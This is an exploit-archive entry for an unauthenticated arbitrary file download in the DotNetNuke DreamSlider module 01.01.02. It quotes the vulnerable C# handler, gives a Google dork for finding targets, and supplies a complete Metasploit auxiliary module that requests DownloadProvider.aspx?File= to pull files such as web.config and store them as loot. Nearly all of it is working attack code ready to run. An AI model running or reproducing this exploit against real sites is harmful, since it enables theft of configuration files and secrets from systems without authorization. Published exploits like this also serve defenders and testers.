DotNetNuke DreamSlider 01.01.02 Arbitrary File Download

`# Exploit Title: DotNetNuke DreamSlider Arbitrary File Download  
# Date: 23/01/2014  
# Author: Glafkos Charalambous  
# Version: 01.01.02  
# Vendor: DreamSlider  
# Vendor URL: http://www.dreamslider.com/  
# Google Dork: inurl:/DesktopModules/DreamSlider/  
# CVE:   
#  
# Description  
# DotNetNuke DreamSlider Module prior to version X suffer from a remote unauthenticated arbitrary file download vulnerability  
#  
# Vulnerable Code  
#  
# namespace DotNetNuke.Modules.DreamSlider  
# {  
# using System;  
# using System.IO;  
# using System.Web.SessionState;  
# using System.Web.UI;  
#  
# public class DownloadProvider : Page, IRequiresSessionState  
# {  
# protected void Page_Load(object sender, EventArgs e)  
# {  
# if (!base.IsPostBack && (base.Request.QueryString["File"] != null))  
# {  
# string path = base.Request.QueryString["File"];  
# string fileName = Path.GetFileName(path);  
# base.Response.ContentType = "application/octet-stream";  
# base.Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName);  
# base.Response.WriteFile(path);  
# base.Response.End();  
# }  
# }  
# }  
# }  
  
##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
Rank = ExcellentRanking  
  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'DotNetNuke DreamSlider Arbitrary File Download',  
'Description' => %q{  
This module exploits an unauthenticated arbitrary file download vulnerability in DNN  
DreamSlider version 01.01.02 and below.  
},  
'Author' =>  
[  
'Glafkos Charalambous', # Discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://metasploit.com' ]  
],  
'DisclosureDate' => 'Mar 23 2015'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('FILENAME', [true, 'File to download', '~/web.config']),  
OptString.new('PATH', [true, 'Path of DNN Nuke', '/']),  
], self.class)  
end  
  
def check  
begin  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx"),  
'cookie' => datastore['Cookie'],  
})  
  
if res && res.code == 200 and res.body.to_s =~ /Download Provider/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
Exploit::CheckCode::Safe  
end  
end  
  
def run  
begin  
print_status("#{peer} - Downloading file #{datastore['FILENAME']}")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx?File=") + datastore['FILENAME'],  
'cookie' => datastore['Cookie'],  
})  
  
rescue Rex::ConnectionError  
print_error("#{peer} - Could not connect.")  
return  
end  
  
if res && res.code == 200  
if res.body.to_s.bytesize == 0  
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")  
return  
end  
  
fileName = datastore['FILENAME']  
  
path = store_loot(  
'ds.http',  
'application/octet-stream',  
datastore['RHOST'],  
res.body,  
fileName  
)  
print_good("#{peer} - File saved in: #{path}")  
else  
print_error("#{peer} - Failed to download file.")  
end  
end  
end  
  
`